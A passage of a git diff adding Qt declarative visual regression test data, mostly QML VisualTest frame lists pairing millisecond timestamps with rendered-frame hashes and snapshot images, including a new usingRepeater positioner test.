+ hash: "ec46803523ee0516ed2c89923ff2ded7"
+ }
+ Frame {
+ msec: 1888
+ hash: "ec46803523ee0516ed2c89923ff2ded7"
+ }
+ Frame {
+ msec: 1904
+ hash: "ec46803523ee0516ed2c89923ff2ded7"
+ }
+ Frame {
+ msec: 1920
+ hash: "ec46803523ee0516ed2c89923ff2ded7"
+ }
+ Frame {
+ msec: 1936
+ image: "dynamic.2.png"
+ }
+ Frame {
+ msec: 1952
+ hash: "ec46803523ee0516ed2c89923ff2ded7"
+ }
+ Frame {
+ msec: 1968
+ hash: "ec46803523ee0516ed2c89923ff2ded7"
+ }
+ Frame {
+ msec: 1984
+ hash: "ec46803523ee0516ed2c89923ff2ded7"
+ }
+ Frame {
+ msec: 2000
+ hash: "ec46803523ee0516ed2c89923ff2ded7"
+ }
+ Frame {
+ msec: 2016
+ hash: "ec46803523ee0516ed2c89923ff2ded7"
+ }
+ Frame {
+ msec: 2032
+ hash: "ec46803523ee0516ed2c89923ff2ded7"
+ }
+ Frame {
+ msec: 2048
+ hash: "ec46803523ee0516ed2c89923ff2ded7"
+ }
+ Frame {
+ msec: 2064
+ hash: "ec46803523ee0516ed2c89923ff2ded7"
+ }
+ Frame {
+ msec: 2080
+ hash: "ec46803523ee0516ed2c89923ff2ded7"
+ }
+ Frame {
+ msec: 2096
+ hash: "ec46803523ee0516ed2c89923ff2ded7"
+ }
+ Frame {
+ msec: 2112
+ hash: "ec46803523ee0516ed2c89923ff2ded7"
+ }
+ Frame {
+ msec: 2128
+ hash: "ec46803523ee0516ed2c89923ff2ded7"
+ }
+ Frame {
+ msec: 2144
+ hash: "ec46803523ee0516ed2c89923ff2ded7"
+ }
+ Frame {
+ msec: 2160
+ hash: "ec46803523ee0516ed2c89923ff2ded7"
+ }
+ Frame {
+ msec: 2176
+ hash: "ec46803523ee0516ed2c89923ff2ded7"
+ }
+ Frame {
+ msec: 2192
+ hash: "ec46803523ee0516ed2c89923ff2ded7"
+ }
+ Frame {
+ msec: 2208
+ hash: "ec46803523ee0516ed2c89923ff2ded7"
+ }
+ Frame {
+ msec: 2224
+ hash: "ec46803523ee0516ed2c89923ff2ded7"
+ }
+ Frame {
+ msec: 2240
+ hash: "ec46803523ee0516ed2c89923ff2ded7"
+ }
+ Frame {
+ msec: 2256
+ hash: "ec46803523ee0516ed2c89923ff2ded7"
+ }
+ Frame {
+ msec: 2272
+ hash: "6b8b68e359f532729bf25a6851563ad7"
+ }
+ Frame {
+ msec: 2288
+ hash: "1ee3cf0c3c738a909f1b40b4ef49ac50"
+ }
+ Frame {
+ msec: 2304
+ hash: "71889e0f81eeb252dd91a46af5ce24e7"
+ }
+ Frame {
+ msec: 2320
+ hash: "99390a696ac524d752672df6f2136fa3"
+ }
+ Frame {
+ msec: 2336
+ hash: "00919914f1623bb260e0f99b471aa182"
+ }
+ Frame {
+ msec: 2352
+ hash: "64bd7ff1518a3e84c4b40511c5c0ff2d"
+ }
+ Frame {
+ msec: 2368
+ hash: "b68da721bf79592e49408b098f72e884"
+ }
+ Frame {
+ msec: 2384
+ hash: "6a8ca937b7c961c403ab1662d170c1a5"
+ }
+ Frame {
+ msec: 2400
+ hash: "3f4034da4cd71738d1130c3baa38cf9b"
+ }
+ Frame {
+ msec: 2416
+ hash: "97a86d3c04d07508604b46732b121edd"
+ }
+ Frame {
+ msec: 2432
+ hash: "42e9ab3ed744d1a9a7eb5b7a206f29b3"
+ }
+ Frame {
+ msec: 2448
+ hash: "ff86192c1b9c0faabb5563260cb1bff2"
+ }
+ Frame {
+ msec: 2464
+ hash: "e1de0e431b971deb546935b6b2fc78e7"
+ }
+ Frame {
+ msec: 2480
+ hash: "b7817a7f15d8e727e25719de8cc7d50a"
+ }
+ Frame {
+ msec: 2496
+ hash: "66772971897fc00d01d067e5fc38f848"
+ }
+ Frame {
+ msec: 2512
+ hash: "175db8c0324af4c206f9673f0a8d0477"
+ }
+ Frame {
+ msec: 2528
+ hash: "f3dea687e0ca335b987b6b3c7d736469"
+ }
+ Frame {
+ msec: 2544
+ hash: "44d035dd8e302b75c5a7f98a2005fe75"
+ }
+ Frame {
+ msec: 2560
+ hash: "140cf53cb6873b14e6263537f84b0aa0"
+ }
+ Frame {
+ msec: 2576
+ hash: "6c9090d4488289e69562747271459d7d"
+ }
+ Frame {
+ msec: 2592
+ hash: "49e92db256f5be8c4e35566eea8fca70"
+ }
+ Frame {
+ msec: 2608
+ hash: "80f41d2eb743ee13fcc486651e310fe2"
+ }
+ Frame {
+ msec: 2624
+ hash: "f581fdcaf30c0efd4518e538e88c2ebf"
+ }
+ Frame {
+ msec: 2640
+ hash: "c028db6753cf60bf587e6c46080a31ea"
+ }
+ Frame {
+ msec: 2656
+ hash: "231b69aa9bdadbaf47cbfbc44a322a51"
+ }
+ Frame {
+ msec: 2672
+ hash: "f0bcc02aaab3fad2ff53fc2d7541d4aa"
+ }
+ Frame {
+ msec: 2688
+ hash: "80e34154585ba3480e37eaac6bfa396c"
+ }
+ Frame {
+ msec: 2704
+ hash: "e1ebf3ba98b2df53ac9f72744034ba6d"
+ }
+ Frame {
+ msec: 2720
+ hash: "b8f749a58888f90ed5cabe7aa2eee1ee"
+ }
+ Frame {
+ msec: 2736
+ hash: "3a78458aa124a331f5b1616be5eea914"
+ }
+ Frame {
+ msec: 2752
+ hash: "c442c02859bc35a8e5493200e68b1730"
+ }
+ Frame {
+ msec: 2768
+ hash: "0cc4d24a1e1fa75a339a5b3dd07f18f3"
+ }
+ Frame {
+ msec: 2784
+ hash: "0d124bc578058db99e32d58f4b412758"
+ }
+ Frame {
+ msec: 2800
+ hash: "fc174a039606c5457532c9ac27c6faec"
+ }
+ Frame {
+ msec: 2816
+ hash: "db5d25d7c01605ec81cdab3e239a1f0f"
+ }
+ Frame {
+ msec: 2832
+ hash: "7dcffdbf9ac992aac0751bed5c38a0eb"
+ }
+ Frame {
+ msec: 2848
+ hash: "b59dc4f39b3e032d5cd34ffca098889f"
+ }
+ Frame {
+ msec: 2864
+ hash: "925d232189a3eee4bae08a8fe86a488b"
+ }
+ Frame {
+ msec: 2880
+ hash: "4ab3a889e27de8f45670c240f6d452a6"
+ }
+ Frame {
+ msec: 2896
+ image: "dynamic.3.png"
+ }
+ Frame {
+ msec: 2912
+ hash: "9b8629b588dcb840fcd32f73f66016ee"
+ }
+ Frame {
+ msec: 2928
+ hash: "dca8e45e930314a860f36343f4577738"
+ }
+ Frame {
+ msec: 2944
+ hash: "b68f3b38e154b65225211c6a1ca8ddb8"
+ }
+ Frame {
+ msec: 2960
+ hash: "d8168aea7962cad60132da9baf66f95c"
+ }
+ Frame {
+ msec: 2976
+ hash: "6f83cd7be71666e08172a2c59e715f2e"
+ }
+ Frame {
+ msec: 2992
+ hash: "f98c68954ed98f340e86c159fcf4f013"
+ }
+ Frame {
+ msec: 3008
+ hash: "e4692a0e6d82864e9027bcf893e0cf90"
+ }
+ Frame {
+ msec: 3024
+ hash: "ed02ff4d37ad03c0d0d53cf8163ed1c5"
+ }
+ Frame {
+ msec: 3040
+ hash: "fb116353a2ceabae2d93c9aac48727d8"
+ }
+ Frame {
+ msec: 3056
+ hash: "7b8c99b86838c46db4e756cc039ba045"
+ }
+ Frame {
+ msec: 3072
+ hash: "c8d8e194bc957402fe2236b1a472faa6"
+ }
+ Frame {
+ msec: 3088
+ hash: "f0f3d8c8ac3604cd11b7492fe5ee023e"
+ }
+ Frame {
+ msec: 3104
+ hash: "b41cf314e4684423b4708ccd55904d60"
+ }
+ Frame {
+ msec: 3120
+ hash: "4f578969386627b6e620e83bad5a6a6c"
+ }
+ Frame {
+ msec: 3136
+ hash: "bd9fcfaa4e79f969548af12d072c1ec2"
+ }
+ Frame {
+ msec: 3152
+ hash: "a418dc92f8b04fddf95f38bd24825ee6"
+ }
+ Frame {
+ msec: 3168
+ hash: "4684b3e318a08f0f2331a13143592d18"
+ }
+ Frame {
+ msec: 3184
+ hash: "1e135a4fd2e7336d8a59ca3497374a3d"
+ }
+ Frame {
+ msec: 3200
+ hash: "d1be76e2c56422b469a9d09e22f62df5"
+ }
+ Frame {
+ msec: 3216
+ hash: "8827523a7f8fa89a56d932102dff7b52"
+ }
+ Frame {
+ msec: 3232
+ hash: "e12e6b907af5e6feffed0b9e68c71895"
+ }
+ Frame {
+ msec: 3248
+ hash: "7bc3605f5f241170732aba19ca649896"
+ }
+ Frame {
+ msec: 3264
+ hash: "d7da9274f30cacd419f0b0b7c8c8a728"
+ }
+ Frame {
+ msec: 3280
+ hash: "154775464235d2a2fb338c27f1490f27"
+ }
+ Frame {
+ msec: 3296
+ hash: "1657f65e8759eec3c026262bb271dd1c"
+ }
+ Frame {
+ msec: 3312
+ hash: "29b4c68846aab3c1dcf4e58861915c33"
+ }
+ Frame {
+ msec: 3328
+ hash: "fe22b3b991a80b34d6fe12515bfa2fd0"
+ }
+ Frame {
+ msec: 3344
+ hash: "961343bb9dcc1fbe81b4c20392c28cb9"
+ }
+ Frame {
+ msec: 3360
+ hash: "a2adb3179465e34b517bf906491a1b60"
+ }
+ Frame {
+ msec: 3376
+ hash: "067fb8a2f5043dd4616fb1539e3e9c4a"
+ }
+ Frame {
+ msec: 3392
+ hash: "009329915e9027d77218fd83334960ed"
+ }
+ Frame {
+ msec: 3408
+ hash: "81b05d8aef8152830c6f199d6dd94fd5"
+ }
+ Frame {
+ msec: 3424
+ hash: "b23fa537f88a97490e48fb3a8cd4b507"
+ }
+ Frame {
+ msec: 3440
+ hash: "182464f620768efe0253c97cda75d839"
+ }
+ Frame {
+ msec: 3456
+ hash: "f1ddbec396cead5d4acf9b65822becb6"
+ }
+ Frame {
+ msec: 3472
+ hash: "a73085722d33638517b3f60a16ce9fcd"
+ }
+ Frame {
+ msec: 3488
+ hash: "ecce53b0c525834341ee4b3c546e670c"
+ }
+ Frame {
+ msec: 3504
+ hash: "86f1da737164290a90c1aef9355e2375"
+ }
+ Frame {
+ msec: 3520
+ hash: "722ec874122ad8dcc73820a3a2fb7dca"
+ }
+ Frame {
+ msec: 3536
+ hash: "35eb086b11482b752e2c02f1dc4d9099"
+ }
+ Frame {
+ msec: 3552
+ hash: "83cf9c0b5d0afd5d3cee4c446274f5c4"
+ }
+ Frame {
+ msec: 3568
+ hash: "e1bbef11fe02adb0756113e1106fe7f1"
+ }
+ Frame {
+ msec: 3584
+ hash: "774c8bb4585954274852d6bb07e64916"
+ }
+ Frame {
+ msec: 3600
+ hash: "b0264bcddf313d4e819a608143a86ac9"
+ }
+ Frame {
+ msec: 3616
+ hash: "5e3859fd56e5022cbc7831e22447f05d"
+ }
+ Frame {
+ msec: 3632
+ hash: "8c2a8b7321d2598b08d483914d4f319c"
+ }
+ Frame {
+ msec: 3648
+ hash: "f13913dbc015836e35d5a2ebc94bbeef"
+ }
+ Frame {
+ msec: 3664
+ hash: "1309af996f2d7a686f1d9177bc5c9be6"
+ }
+ Frame {
+ msec: 3680
+ hash: "460b3500b41624486fe8dcfde087d2b5"
+ }
+ Frame {
+ msec: 3696
+ hash: "de0837d19497021528dc782db4da084a"
+ }
+ Frame {
+ msec: 3712
+ hash: "18afb8f8e9aa6d4a5db376e26cd9a56d"
+ }
+ Frame {
+ msec: 3728
+ hash: "4fc1a8173824c2725160798b7d70aec2"
+ }
+ Frame {
+ msec: 3744
+ hash: "87a593f74c946d6af6e31c5a25898766"
+ }
+ Frame {
+ msec: 3760
+ hash: "57e68ec2aa5a21b11d21f388399713e5"
+ }
+ Frame {
+ msec: 3776
+ hash: "4cb9ee1d12b99fb98bedcbcc048867e4"
+ }
+ Frame {
+ msec: 3792
+ hash: "3eebd1f4f58210f6b546715997a984c2"
+ }
+ Frame {
+ msec: 3808
+ hash: "39eabc07bfcefb2ecd369abf94d706cd"
+ }
+ Frame {
+ msec: 3824
+ hash: "a0c46402b4700cc2099bdf42c47faf9b"
+ }
+ Frame {
+ msec: 3840
+ hash: "3c8b4831583922c7c1c85f227ef2b3dc"
+ }
+ Frame {
+ msec: 3856
+ image: "dynamic.4.png"
+ }
+ Frame {
+ msec: 3872
+ hash: "e1b0d4cae609f3074fb1ac46c172bf4a"
+ }
+ Frame {
+ msec: 3888
+ hash: "09b76db3e4a95666ba9c37dd89996fa3"
+ }
+ Frame {
+ msec: 3904
+ hash: "b692386f34972d80aded2347e64ad2b6"
+ }
+ Frame {
+ msec: 3920
+ hash: "dc65b0a791002efffec05884aa948842"
+ }
+ Frame {
+ msec: 3936
+ hash: "069bab78e29d322894647f81d315184a"
+ }
+ Frame {
+ msec: 3952
+ hash: "39c8d804b3caf53845baba4ce98e007d"
+ }
+ Frame {
+ msec: 3968
+ hash: "3b477dfd05f07bdf0ba562d6068cafdb"
+ }
+ Frame {
+ msec: 3984
+ hash: "eb84ee75bdbf25dcc32587007f5dc9bd"
+ }
+ Frame {
+ msec: 4000
+ hash: "441d34bff2755e3c30bed80e2bdde69c"
+ }
+ Frame {
+ msec: 4016
+ hash: "4cb9ee1d12b99fb98bedcbcc048867e4"
+ }
+ Frame {
+ msec: 4032
+ hash: "3eebd1f4f58210f6b546715997a984c2"
+ }
+ Frame {
+ msec: 4048
+ hash: "39eabc07bfcefb2ecd369abf94d706cd"
+ }
+ Frame {
+ msec: 4064
+ hash: "a0c46402b4700cc2099bdf42c47faf9b"
+ }
+ Frame {
+ msec: 4080
+ hash: "3c8b4831583922c7c1c85f227ef2b3dc"
+ }
+ Frame {
+ msec: 4096
+ hash: "c92cba3c2825db4293153588c4b7b229"
+ }
+ Frame {
+ msec: 4112
+ hash: "e1b0d4cae609f3074fb1ac46c172bf4a"
+ }
+ Frame {
+ msec: 4128
+ hash: "09b76db3e4a95666ba9c37dd89996fa3"
+ }
+ Frame {
+ msec: 4144
+ hash: "b692386f34972d80aded2347e64ad2b6"
+ }
+ Frame {
+ msec: 4160
+ hash: "dc65b0a791002efffec05884aa948842"
+ }
+ Frame {
+ msec: 4176
+ hash: "069bab78e29d322894647f81d315184a"
+ }
+ Frame {
+ msec: 4192
+ hash: "39c8d804b3caf53845baba4ce98e007d"
+ }
+ Frame {
+ msec: 4208
+ hash: "3b477dfd05f07bdf0ba562d6068cafdb"
+ }
+ Frame {
+ msec: 4224
+ hash: "eb84ee75bdbf25dcc32587007f5dc9bd"
+ }
+ Frame {
+ msec: 4240
+ hash: "441d34bff2755e3c30bed80e2bdde69c"
+ }
+ Frame {
+ msec: 4256
+ hash: "57e68ec2aa5a21b11d21f388399713e5"
+ }
+ Frame {
+ msec: 4272
+ hash: "4cb9ee1d12b99fb98bedcbcc048867e4"
+ }
+ Frame {
+ msec: 4288
+ hash: "3eebd1f4f58210f6b546715997a984c2"
+ }
+ Frame {
+ msec: 4304
+ hash: "39eabc07bfcefb2ecd369abf94d706cd"
+ }
+ Frame {
+ msec: 4320
+ hash: "a0c46402b4700cc2099bdf42c47faf9b"
+ }
+ Frame {
+ msec: 4336
+ hash: "3c8b4831583922c7c1c85f227ef2b3dc"
+ }
+ Frame {
+ msec: 4352
+ hash: "c92cba3c2825db4293153588c4b7b229"
+ }
+ Frame {
+ msec: 4368
+ hash: "e1b0d4cae609f3074fb1ac46c172bf4a"
+ }
+ Frame {
+ msec: 4384
+ hash: "09b76db3e4a95666ba9c37dd89996fa3"
+ }
+ Frame {
+ msec: 4400
+ hash: "b692386f34972d80aded2347e64ad2b6"
+ }
+ Frame {
+ msec: 4416
+ hash: "dc65b0a791002efffec05884aa948842"
+ }
+ Frame {
+ msec: 4432
+ hash: "069bab78e29d322894647f81d315184a"
+ }
+ Frame {
+ msec: 4448
+ hash: "39c8d804b3caf53845baba4ce98e007d"
+ }
+ Frame {
+ msec: 4464
+ hash: "3b477dfd05f07bdf0ba562d6068cafdb"
+ }
+ Frame {
+ msec: 4480
+ hash: "eb84ee75bdbf25dcc32587007f5dc9bd"
+ }
+ Frame {
+ msec: 4496
+ hash: "441d34bff2755e3c30bed80e2bdde69c"
+ }
+ Frame {
+ msec: 4512
+ hash: "57e68ec2aa5a21b11d21f388399713e5"
+ }
+ Frame {
+ msec: 4528
+ hash: "4cb9ee1d12b99fb98bedcbcc048867e4"
+ }
+ Frame {
+ msec: 4544
+ hash: "3eebd1f4f58210f6b546715997a984c2"
+ }
+ Frame {
+ msec: 4560
+ hash: "39eabc07bfcefb2ecd369abf94d706cd"
+ }
+ Frame {
+ msec: 4576
+ hash: "a0c46402b4700cc2099bdf42c47faf9b"
+ }
+ Frame {
+ msec: 4592
+ hash: "3c8b4831583922c7c1c85f227ef2b3dc"
+ }
+ Frame {
+ msec: 4608
+ hash: "c92cba3c2825db4293153588c4b7b229"
+ }
+ Frame {
+ msec: 4624
+ hash: "e1b0d4cae609f3074fb1ac46c172bf4a"
+ }
+ Frame {
+ msec: 4640
+ hash: "09b76db3e4a95666ba9c37dd89996fa3"
+ }
+ Frame {
+ msec: 4656
+ hash: "b692386f34972d80aded2347e64ad2b6"
+ }
+ Frame {
+ msec: 4672
+ hash: "dc65b0a791002efffec05884aa948842"
+ }
+ Frame {
+ msec: 4688
+ hash: "069bab78e29d322894647f81d315184a"
+ }
+ Frame {
+ msec: 4704
+ hash: "39c8d804b3caf53845baba4ce98e007d"
+ }
+ Frame {
+ msec: 4720
+ hash: "3b477dfd05f07bdf0ba562d6068cafdb"
+ }
+ Frame {
+ msec: 4736
+ hash: "eb84ee75bdbf25dcc32587007f5dc9bd"
+ }
+ Frame {
+ msec: 4752
+ hash: "441d34bff2755e3c30bed80e2bdde69c"
+ }
+ Frame {
+ msec: 4768
+ hash: "4cb9ee1d12b99fb98bedcbcc048867e4"
+ }
+ Frame {
+ msec: 4784
+ hash: "3eebd1f4f58210f6b546715997a984c2"
+ }
+ Frame {
+ msec: 4800
+ hash: "39eabc07bfcefb2ecd369abf94d706cd"
+ }
+ Frame {
+ msec: 4816
+ image: "dynamic.5.png"
+ }
+ Frame {
+ msec: 4832
+ hash: "3c8b4831583922c7c1c85f227ef2b3dc"
+ }
+ Frame {
+ msec: 4848
+ hash: "c92cba3c2825db4293153588c4b7b229"
+ }
+ Frame {
+ msec: 4864
+ hash: "e1b0d4cae609f3074fb1ac46c172bf4a"
+ }
+ Frame {
+ msec: 4880
+ hash: "09b76db3e4a95666ba9c37dd89996fa3"
+ }
+ Frame {
+ msec: 4896
+ hash: "b692386f34972d80aded2347e64ad2b6"
+ }
+ Frame {
+ msec: 4912
+ hash: "dc65b0a791002efffec05884aa948842"
+ }
+ Frame {
+ msec: 4928
+ hash: "069bab78e29d322894647f81d315184a"
+ }
+ Frame {
+ msec: 4944
+ hash: "39c8d804b3caf53845baba4ce98e007d"
+ }
+ Frame {
+ msec: 4960
+ hash: "3b477dfd05f07bdf0ba562d6068cafdb"
+ }
+ Frame {
+ msec: 4976
+ hash: "eb84ee75bdbf25dcc32587007f5dc9bd"
+ }
+ Frame {
+ msec: 4992
+ hash: "441d34bff2755e3c30bed80e2bdde69c"
+ }
+ Frame {
+ msec: 5008
+ hash: "57e68ec2aa5a21b11d21f388399713e5"
+ }
+ Frame {
+ msec: 5024
+ hash: "4cb9ee1d12b99fb98bedcbcc048867e4"
+ }
+ Frame {
+ msec: 5040
+ hash: "3eebd1f4f58210f6b546715997a984c2"
+ }
+ Frame {
+ msec: 5056
+ hash: "39eabc07bfcefb2ecd369abf94d706cd"
+ }
+ Frame {
+ msec: 5072
+ hash: "a0c46402b4700cc2099bdf42c47faf9b"
+ }
+ Frame {
+ msec: 5088
+ hash: "3c8b4831583922c7c1c85f227ef2b3dc"
+ }
+ Frame {
+ msec: 5104
+ hash: "c92cba3c2825db4293153588c4b7b229"
+ }
+ Frame {
+ msec: 5120
+ hash: "e1b0d4cae609f3074fb1ac46c172bf4a"
+ }
+ Frame {
+ msec: 5136
+ hash: "09b76db3e4a95666ba9c37dd89996fa3"
+ }
+ Frame {
+ msec: 5152
+ hash: "b692386f34972d80aded2347e64ad2b6"
+ }
+ Frame {
+ msec: 5168
+ hash: "dc65b0a791002efffec05884aa948842"
+ }
+ Frame {
+ msec: 5184
+ hash: "069bab78e29d322894647f81d315184a"
+ }
+ Frame {
+ msec: 5200
+ hash: "39c8d804b3caf53845baba4ce98e007d"
+ }
+ Frame {
+ msec: 5216
+ hash: "3b477dfd05f07bdf0ba562d6068cafdb"
+ }
+ Frame {
+ msec: 5232
+ hash: "eb84ee75bdbf25dcc32587007f5dc9bd"
+ }
+ Frame {
+ msec: 5248
+ hash: "441d34bff2755e3c30bed80e2bdde69c"
+ }
+ Frame {
+ msec: 5264
+ hash: "57e68ec2aa5a21b11d21f388399713e5"
+ }
+ Frame {
+ msec: 5280
+ hash: "4cb9ee1d12b99fb98bedcbcc048867e4"
+ }
+ Frame {
+ msec: 5296
+ hash: "3eebd1f4f58210f6b546715997a984c2"
+ }
+ Frame {
+ msec: 5312
+ hash: "39eabc07bfcefb2ecd369abf94d706cd"
+ }
+ Frame {
+ msec: 5328
+ hash: "a0c46402b4700cc2099bdf42c47faf9b"
+ }
+ Frame {
+ msec: 5344
+ hash: "3c8b4831583922c7c1c85f227ef2b3dc"
+ }
+ Frame {
+ msec: 5360
+ hash: "c92cba3c2825db4293153588c4b7b229"
+ }
+ Frame {
+ msec: 5376
+ hash: "e1b0d4cae609f3074fb1ac46c172bf4a"
+ }
+ Frame {
+ msec: 5392
+ hash: "09b76db3e4a95666ba9c37dd89996fa3"
+ }
+ Frame {
+ msec: 5408
+ hash: "b692386f34972d80aded2347e64ad2b6"
+ }
+ Frame {
+ msec: 5424
+ hash: "dc65b0a791002efffec05884aa948842"
+ }
+ Frame {
+ msec: 5440
+ hash: "069bab78e29d322894647f81d315184a"
+ }
+ Frame {
+ msec: 5456
+ hash: "39c8d804b3caf53845baba4ce98e007d"
+ }
+ Frame {
+ msec: 5472
+ hash: "3b477dfd05f07bdf0ba562d6068cafdb"
+ }
+ Frame {
+ msec: 5488
+ hash: "eb84ee75bdbf25dcc32587007f5dc9bd"
+ }
+ Frame {
+ msec: 5504
+ hash: "441d34bff2755e3c30bed80e2bdde69c"
+ }
+ Frame {
+ msec: 5520
+ hash: "4cb9ee1d12b99fb98bedcbcc048867e4"
+ }
+ Frame {
+ msec: 5536
+ hash: "3eebd1f4f58210f6b546715997a984c2"
+ }
+ Frame {
+ msec: 5552
+ hash: "39eabc07bfcefb2ecd369abf94d706cd"
+ }
+ Frame {
+ msec: 5568
+ hash: "a0c46402b4700cc2099bdf42c47faf9b"
+ }
+ Frame {
+ msec: 5584
+ hash: "3c8b4831583922c7c1c85f227ef2b3dc"
+ }
+ Frame {
+ msec: 5600
+ hash: "c92cba3c2825db4293153588c4b7b229"
+ }
+ Frame {
+ msec: 5616
+ hash: "e1b0d4cae609f3074fb1ac46c172bf4a"
+ }
+ Frame {
+ msec: 5632
+ hash: "09b76db3e4a95666ba9c37dd89996fa3"
+ }
+ Frame {
+ msec: 5648
+ hash: "b692386f34972d80aded2347e64ad2b6"
+ }
+ Frame {
+ msec: 5664
+ hash: "dc65b0a791002efffec05884aa948842"
+ }
+ Frame {
+ msec: 5680
+ hash: "069bab78e29d322894647f81d315184a"
+ }
+ Frame {
+ msec: 5696
+ hash: "39c8d804b3caf53845baba4ce98e007d"
+ }
+ Frame {
+ msec: 5712
+ hash: "3b477dfd05f07bdf0ba562d6068cafdb"
+ }
+ Frame {
+ msec: 5728
+ hash: "eb84ee75bdbf25dcc32587007f5dc9bd"
+ }
+ Frame {
+ msec: 5744
+ hash: "441d34bff2755e3c30bed80e2bdde69c"
+ }
+ Frame {
+ msec: 5760
+ hash: "57e68ec2aa5a21b11d21f388399713e5"
+ }
+ Frame {
+ msec: 5776
+ image: "dynamic.6.png"
+ }
+ Frame {
+ msec: 5792
+ hash: "3eebd1f4f58210f6b546715997a984c2"
+ }
+ Frame {
+ msec: 5808
+ hash: "39eabc07bfcefb2ecd369abf94d706cd"
+ }
+ Frame {
+ msec: 5824
+ hash: "a0c46402b4700cc2099bdf42c47faf9b"
+ }
+ Frame {
+ msec: 5840
+ hash: "3c8b4831583922c7c1c85f227ef2b3dc"
+ }
+ Frame {
+ msec: 5856
+ hash: "c92cba3c2825db4293153588c4b7b229"
+ }
+ Frame {
+ msec: 5872
+ hash: "e1b0d4cae609f3074fb1ac46c172bf4a"
+ }
+ Frame {
+ msec: 5888
+ hash: "09b76db3e4a95666ba9c37dd89996fa3"
+ }
+ Frame {
+ msec: 5904
+ hash: "b692386f34972d80aded2347e64ad2b6"
+ }
+ Frame {
+ msec: 5920
+ hash: "dc65b0a791002efffec05884aa948842"
+ }
+ Frame {
+ msec: 5936
+ hash: "069bab78e29d322894647f81d315184a"
+ }
+ Frame {
+ msec: 5952
+ hash: "39c8d804b3caf53845baba4ce98e007d"
+ }
+ Frame {
+ msec: 5968
+ hash: "3b477dfd05f07bdf0ba562d6068cafdb"
+ }
+ Frame {
+ msec: 5984
+ hash: "eb84ee75bdbf25dcc32587007f5dc9bd"
+ }
+ Frame {
+ msec: 6000
+ hash: "441d34bff2755e3c30bed80e2bdde69c"
+ }
+ Frame {
+ msec: 6016
+ hash: "4cb9ee1d12b99fb98bedcbcc048867e4"
+ }
+ Frame {
+ msec: 6032
+ hash: "3eebd1f4f58210f6b546715997a984c2"
+ }
+ Frame {
+ msec: 6048
+ hash: "39eabc07bfcefb2ecd369abf94d706cd"
+ }
+ Frame {
+ msec: 6064
+ hash: "a0c46402b4700cc2099bdf42c47faf9b"
+ }
+ Frame {
+ msec: 6080
+ hash: "3c8b4831583922c7c1c85f227ef2b3dc"
+ }
+ Frame {
+ msec: 6096
+ hash: "c92cba3c2825db4293153588c4b7b229"
+ }
+ Frame {
+ msec: 6112
+ hash: "e1b0d4cae609f3074fb1ac46c172bf4a"
+ }
+ Frame {
+ msec: 6128
+ hash: "09b76db3e4a95666ba9c37dd89996fa3"
+ }
+ Frame {
+ msec: 6144
+ hash: "b692386f34972d80aded2347e64ad2b6"
+ }
+ Frame {
+ msec: 6160
+ hash: "dc65b0a791002efffec05884aa948842"
+ }
+ Frame {
+ msec: 6176
+ hash: "069bab78e29d322894647f81d315184a"
+ }
+ Frame {
+ msec: 6192
+ hash: "39c8d804b3caf53845baba4ce98e007d"
+ }
+ Frame {
+ msec: 6208
+ hash: "3b477dfd05f07bdf0ba562d6068cafdb"
+ }
+ Frame {
+ msec: 6224
+ hash: "eb84ee75bdbf25dcc32587007f5dc9bd"
+ }
+ Frame {
+ msec: 6240
+ hash: "441d34bff2755e3c30bed80e2bdde69c"
+ }
+ Frame {
+ msec: 6256
+ hash: "57e68ec2aa5a21b11d21f388399713e5"
+ }
+ Frame {
+ msec: 6272
+ hash: "4cb9ee1d12b99fb98bedcbcc048867e4"
+ }
+ Frame {
+ msec: 6288
+ hash: "3eebd1f4f58210f6b546715997a984c2"
+ }
+ Frame {
+ msec: 6304
+ hash: "39eabc07bfcefb2ecd369abf94d706cd"
+ }
+ Frame {
+ msec: 6320
+ hash: "a0c46402b4700cc2099bdf42c47faf9b"
+ }
+ Frame {
+ msec: 6336
+ hash: "3c8b4831583922c7c1c85f227ef2b3dc"
+ }
+ Frame {
+ msec: 6352
+ hash: "c92cba3c2825db4293153588c4b7b229"
+ }
+ Frame {
+ msec: 6368
+ hash: "e1b0d4cae609f3074fb1ac46c172bf4a"
+ }
+ Frame {
+ msec: 6384
+ hash: "09b76db3e4a95666ba9c37dd89996fa3"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativepositioners/data/usingRepeater.0.png b/tests/auto/declarative/qmlvisual/qdeclarativepositioners/data/usingRepeater.0.png
new file mode 100644
index 00000000..75a6c49b
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativepositioners/data/usingRepeater.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativepositioners/data/usingRepeater.qml b/tests/auto/declarative/qmlvisual/qdeclarativepositioners/data/usingRepeater.qml
new file mode 100644
index 00000000..365c25f0
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativepositioners/data/usingRepeater.qml
@@ -0,0 +1,135 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "usingRepeater.0.png"
+ }
+ Frame {
+ msec: 32
+ hash: "e76f50af76d6ee5925b183f9e2316b78"
+ }
+ Frame {
+ msec: 48
+ hash: "e76f50af76d6ee5925b183f9e2316b78"
+ }
+ Frame {
+ msec: 64
+ hash: "e76f50af76d6ee5925b183f9e2316b78"
+ }
+ Frame {
+ msec: 80
+ hash: "e76f50af76d6ee5925b183f9e2316b78"
+ }
+ Frame {
+ msec: 96
+ hash: "e76f50af76d6ee5925b183f9e2316b78"
+ }
+ Frame {
+ msec: 112
+ hash: "e76f50af76d6ee5925b183f9e2316b78"
+ }
+ Frame {
+ msec: 128
+ hash: "e76f50af76d6ee5925b183f9e2316b78"
+ }
+ Frame {
+ msec: 144
+ hash: "e76f50af76d6ee5925b183f9e2316b78"
+ }
+ Frame {
+ msec: 160
+ hash: "e76f50af76d6ee5925b183f9e2316b78"
+ }
+ Frame {
+ msec: 176
+ hash: "e76f50af76d6ee5925b183f9e2316b78"
+ }
+ Frame {
+ msec: 192
+ hash: "e76f50af76d6ee5925b183f9e2316b78"
+ }
+ Frame {
+ msec: 208
+ hash: "e76f50af76d6ee5925b183f9e2316b78"
+ }
+ Frame {
+ msec: 224
+ hash: "e76f50af76d6ee5925b183f9e2316b78"
+ }
+ Frame {
+ msec: 240
+ hash: "e76f50af76d6ee5925b183f9e2316b78"
+ }
+ Frame {
+ msec: 256
+ hash: "e76f50af76d6ee5925b183f9e2316b78"
+ }
+ Frame {
+ msec: 272
+ hash: "c98a904eb5da750f4cabf787e253b2ec"
+ }
